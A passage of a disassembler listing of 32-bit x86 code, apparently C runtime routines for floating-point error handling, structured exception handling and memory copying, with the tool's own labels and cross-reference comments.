jle short loc_41C6D4 cmp eax, 3 jnz short loc_41C6E2 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_420FC1 add esp, 10h jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C6D4: ; CODE XREF: sub_41C679+3Fj push esi push ebx call sub_4217E9 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C6E2: ; CODE XREF: sub_41C679+3Aj ; sub_41C679+44j fld [ebp+arg_0] fadd dbl_427718 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_41C73C ; --------------------------------------------------------------------------- loc_41C6FF: ; CODE XREF: sub_41C679+2Fj call sub_421676 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41C722 loc_41C714: ; CODE XREF: sub_41C679+ACj push esi push ebx call sub_4217E9 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C722: ; CODE XREF: sub_41C679+99j test bl, 20h jnz short loc_41C714 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_41C73C: ; CODE XREF: sub_41C679+84j call sub_421014 add esp, 1Ch loc_41C744: ; CODE XREF: sub_41C679+59j ; sub_41C679+67j ... pop esi pop ebx leave retn sub_41C679 endp ; =============== S U B R O U T I N E ======================================= sub_41C748 proc near ; CODE XREF: ___:0041B78Dp ; sub_4218B2+21p ; DATA XREF: ... call sub_41C760 call sub_4218B2 mov dword_4DB2CC, eax call sub_421862 fnclex retn sub_41C748 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41C760 proc near ; CODE XREF: sub_41C748p mov eax, offset sub_421CA0 mov off_43C8A4, offset sub_421935 mov off_43C8A0, eax mov off_43C8A8, offset sub_42199B mov off_43C8AC, offset sub_4218DB mov off_43C8B0, offset sub_421983 mov off_43C8B4, eax retn sub_41C760 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C798 proc near ; CODE XREF: sub_40D030+1Bp ; sub_40D030+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_41C798 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C7BF(double) sub_41C7BF proc near ; CODE XREF: sub_40D07C+82p ; ___:0040DD3Cp var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A2A8 call sub_4217E9 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41C845 call sub_4216B1 pop ecx test eax, eax pop ecx jle short loc_41C828 cmp eax, 2 jle short loc_41C81A cmp eax, 3 jnz short loc_41C828 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_420FC1 add esp, 10h jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C81A: ; CODE XREF: sub_41C7BF+3Fj push esi push ebx call sub_4217E9 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C828: ; CODE XREF: sub_41C7BF+3Aj ; sub_41C7BF+44j fld [ebp+arg_0] fadd dbl_427718 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_41C882 ; --------------------------------------------------------------------------- loc_41C845: ; CODE XREF: sub_41C7BF+2Fj call sub_421676 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41C868 loc_41C85A: ; CODE XREF: sub_41C7BF+ACj push esi push ebx call sub_4217E9 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C868: ; CODE XREF: sub_41C7BF+99j test bl, 20h jnz short loc_41C85A fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_41C882: ; CODE XREF: sub_41C7BF+84j call sub_421014 add esp, 1Ch loc_41C88A: ; CODE XREF: sub_41C7BF+59j ; sub_41C7BF+67j ... pop esi pop ebx leave retn sub_41C7BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C88E proc near ; CODE XREF: ___:00422182p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41C88E endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_41C8C2 proc near ; CODE XREF: sub_4222C2+199p ; sub_422486+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41C8C2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41C8C9 proc near ; CODE XREF: sub_4222C2+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41C8C9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41C8D0 proc near ; CODE XREF: sub_41CA82+5Cp ; sub_422111:loc_422142p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_41C8F8 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_42675C sub_41C8D0 endp ; --------------------------------------------------------------------------- loc_41C8F8: ; DATA XREF: sub_41C8D0+11o mov eax, [ebp+0Ch] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+0Ch] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp-8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_41C91F: ; CODE XREF: ___:00426DFCj ; ___:00426E19j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_421D16 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C955 proc near ; CODE XREF: sub_42218C+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_41C9A9 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_422510 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_41C955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9A9 proc near ; DATA XREF: sub_41C955+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421D16 add esp, 20h pop ebp retn sub_41C9A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9CE proc near ; CODE XREF: sub_421F58+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_41CA82 mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_41CA54 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_4DB324 pop ecx pop ecx and [ebp+var_34], 0 loc_41CA54: ; DATA XREF: sub_41C9CE+3Co cmp [ebp+var_4], 0 jz short loc_41CA71 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41CA7A ; --------------------------------------------------------------------------- loc_41CA71: ; CODE XREF: sub_41C9CE+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_41CA7A: ; CODE XREF: sub_41C9CE+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_41C9CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CA82 proc near ; DATA XREF: sub_41C9CE+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_41CAA5 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41CAF2 ; --------------------------------------------------------------------------- loc_41CAA5: ; CODE XREF: sub_41CA82+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421D16 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41CAE3 push [ebp+arg_0] push [ebp+arg_4] call sub_41C8D0 ; --------------------------------------------------------------------------- loc_41CAE3: ; CODE XREF: sub_41CA82+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41CAF2: ; CODE XREF: sub_41CA82+21j pop edi pop esi pop ebx pop ebp retn sub_41CA82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CAF7 proc near ; CODE XREF: sub_421DB1+C6p ; sub_421F58+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41CB4E loc_41CB15: ; CODE XREF: sub_41CAF7+52j cmp esi, 0FFFFFFFFh jnz short loc_41CB1F call sub_4225B2 loc_41CB1F: ; CODE XREF: sub_41CAF7+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_41CB34 cmp ecx, [eax+8] jle short loc_41CB39 loc_41CB34: ; CODE XREF: sub_41CAF7+36j cmp esi, 0FFFFFFFFh jnz short loc_41CB45 loc_41CB39: ; CODE XREF: sub_41CAF7+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_41CB45: ; CODE XREF: sub_41CAF7+40j cmp [ebp+arg_4], 0 jge short loc_41CB15 mov eax, [ebp+var_4] loc_41CB4E: ; CODE XREF: sub_41CAF7+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41CB62 cmp esi, eax jbe short loc_41CB67 loc_41CB62: ; CODE XREF: sub_41CAF7+65j call sub_4225B2 loc_41CB67: ; CODE XREF: sub_41CAF7+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_41CAF7 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41CB74 proc near ; CODE XREF: sub_4234B8+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_41CB8C push [ebp+arg_0] call sub_42675C sub_41CB74 endp ; =============== S U B R O U T I N E ======================================= sub_41CB8C proc near ; DATA XREF: sub_41CB74+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41CB8C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CB94 proc near ; DATA XREF: sub_41CBB6+Ao ; sub_41CC1E+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_41CBB5 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_41CBB5: ; CODE XREF: sub_41CB94+10j retn sub_41CB94 endp ; =============== S U B R O U T I N E ======================================= sub_41CBB6 proc near ; CODE XREF: sub_422232+Dp ; sub_4234B8+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_41CB94 push large dword ptr fs:0 mov large fs:0, esp loc_41CBD3: ; CODE XREF: sub_41CBB6:loc_41CC0Ej mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41CC10 cmp esi, [esp+1Ch+arg_4] jz short loc_41CC10 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41CC0E push 101h mov eax, [ebx+esi*4+8] call sub_41CC4A call dword ptr [ebx+esi*4+8] loc_41CC0E: ; CODE XREF: sub_41CBB6+44j jmp short loc_41CBD3 ; --------------------------------------------------------------------------- loc_41CC10: ; CODE XREF: sub_41CBB6+2Aj ; sub_41CBB6+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41CBB6 endp ; =============== S U B R O U T I N E ======================================= sub_41CC1E proc near ; CODE XREF: sub_422252+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_41CB94 jnz short locret_41CC40 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41CC40 mov eax, 1 locret_41CC40: ; CODE XREF: sub_41CC1E+10j ; sub_41CC1E+1Bj retn sub_41CC1E endp ; =============== S U B R O U T I N E ======================================= sub_41CC41 proc near ; CODE XREF: sub_422510+1Ep ; sub_422510+40p push ebx push ecx mov ebx, offset dword_43A2AC jmp short loc_41CC54 sub_41CC41 endp ; =============== S U B R O U T I N E ======================================= sub_41CC4A proc near ; CODE XREF: sub_41CBB6+4Fp ; sub_4234B8+78p push ebx push ecx mov ebx, offset dword_43A2AC mov ecx, [ebp+8] loc_41CC54: ; CODE XREF: sub_41CC41+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41CC4A endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_41CC64 proc near ; CODE XREF: sub_40D07C+5p ; sub_40D21E+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_41CC64 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CC83 proc near ; CODE XREF: sub_40D6B3+26p ; ___:004264F2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B0B1 pop ecx retn sub_41CC83 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CC90 proc near ; CODE XREF: sub_40D724+3Ap ; sub_41DEA2+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41CCB0 cmp edi, eax jb loc_41CE28 loc_41CCB0: ; CODE XREF: sub_41CC90+16j test edi, 3 jnz short loc_41CCCC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- loc_41CCCC: ; CODE XREF: sub_41CC90+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41CCE4 and eax, 3 add ecx, eax jmp dword ptr loc_41CCEC+4[eax*4] ; --------------------------------------------------------------------------- loc_41CCE4: ; CODE XREF: sub_41CC90+46j jmp dword ptr loc_41CDE8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CCEC: ; CODE XREF: sub_41CC90+31j ; sub_41CC90+8Ej ... jmp off_41CD6C[ecx*4] ; --------------------------------------------------------------------------- db 90h dd offset loc_41CD00 dd offset loc_41CD2C dd offset loc_41CD50 ; --------------------------------------------------------------------------- loc_41CD00: ; DATA XREF: sub_41CC90+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CD2C: ; DATA XREF: sub_41CC90+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CD50: ; DATA XREF: sub_41CC90+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CD6C dd offset loc_41CDCF ; DATA XREF: sub_41CC90:loc_41CCECr dd offset loc_41CDBC dd offset loc_41CDB4 dd offset loc_41CDAC dd offset loc_41CDA4 dd offset loc_41CD9C dd offset loc_41CD94 dd offset loc_41CD8C ; --------------------------------------------------------------------------- loc_41CD8C: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41CD94: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41CD9C: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41CDA4: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41CDAC: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41CDB4: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41CDBC: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CDCF: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90:off_41CD6Co jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CDD8 dd offset loc_41CDE8 ; DATA XREF: sub_41CC90+35r ; sub_41CC90+92r ... dd offset loc_41CDF0 dd offset loc_41CDFC dd offset loc_41CE10 ; --------------------------------------------------------------------------- loc_41CDE8: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CDF0: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CDFC: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CE10: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CE28: ; CODE XREF: sub_41CC90+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41CE5C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CE50: ; CODE XREF: sub_41CC90+1B1j ; sub_41CC90+208j ... neg ecx jmp off_41CF20[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CE5C: ; CODE XREF: sub_41CC90+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41CE74 and eax, 3 sub ecx, eax jmp dword ptr loc_41CE74+4[eax*4] ; --------------------------------------------------------------------------- loc_41CE74: ; CODE XREF: sub_41CC90+1D6j ; DATA XREF: sub_41CC90+1DDr jmp off_41CF70[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CE87+1 dd offset loc_41CEA8 ; --------------------------------------------------------------------------- ror dh, 1 inc ecx loc_41CE87: ; DATA XREF: sub_41CC90+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CEA8: ; DATA XREF: sub_41CC90+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CF24 dd offset loc_41CF2C dd offset loc_41CF34 dd offset loc_41CF3C dd offset loc_41CF44 dd offset loc_41CF4C dd offset loc_41CF54 off_41CF20 dd offset loc_41CF67 ; DATA XREF: sub_41CC90+1C2r ; --------------------------------------------------------------------------- loc_41CF24: ; DATA XREF: sub_41CC90+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41CF2C: ; DATA XREF: sub_41CC90+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41CF34: ; DATA XREF: sub_41CC90+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41CF3C: ; DATA XREF: sub_41CC90+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41CF44: ; DATA XREF: sub_41CC90+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41CF4C: ; DATA XREF: sub_41CC90+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41CF54: ; DATA XREF: sub_41CC90+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CF67: ; CODE XREF: sub_41CC90+1C2j ; DATA XREF: sub_41CC90:off_41CF20o jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h off_41CF70 dd offset loc_41CF80 ; DATA XREF: sub_41CC90+1B7r ; sub_41CC90:loc_41CE74r ... dd offset loc_41CF88 dd offset loc_41CF98 dd offset loc_41CFAC ; --------------------------------------------------------------------------- loc_41CF80: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CF88: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CF98: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CFAC: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41CC90 endp ; =============== S U B R O U T I N E ======================================= sub_41CFC5 proc near ; CODE XREF: sub_40D78B+34p ; sub_40D78B+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_41B4E7 pop ecx pop ecx retn sub_41CFC5 endp ; =============== S U B R O U T I N E ======================================= sub_41CFD3 proc near ; CODE XREF: sub_41D040+4p arg_0 = dword ptr 4 push esi push dword_4DC91C call sub_422608 mov edx, dword_4DC91C pop ecx mov ecx, dword_4DC918 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_41D032 push edx call sub_422608 add eax, 10h push eax push dword_4DC91C call sub_41B202 add esp, 0Ch test eax, eax jnz short loc_41D015 retn ; --------------------------------------------------------------------------- loc_41D015: ; CODE XREF: sub_41CFD3+3Fj mov ecx, dword_4DC918 sub ecx, dword_4DC91C mov dword_4DC91C, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_4DC918, ecx loc_41D032: ; CODE XREF: sub_41CFD3+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_4DC918, 4 retn sub_41CFD3 endp ; =============== S U B R O U T I N E ======================================= sub_41D040 proc near ; CODE XREF: sub_40D878+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_41CFD3 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_41D040 endp ; =============== S U B R O U T I N E ======================================= sub_41D052 proc near ; DATA XREF: ___:0042901Co push 80h call sub_41B4D5 test eax, eax pop ecx mov dword_4DC91C, eax jnz short loc_41D073 push 18h call sub_41DA29 mov eax, dword_4DC91C pop ecx loc_41D073: ; CODE XREF: sub_41D052+12j and dword ptr [eax], 0 mov eax, dword_4DC91C mov 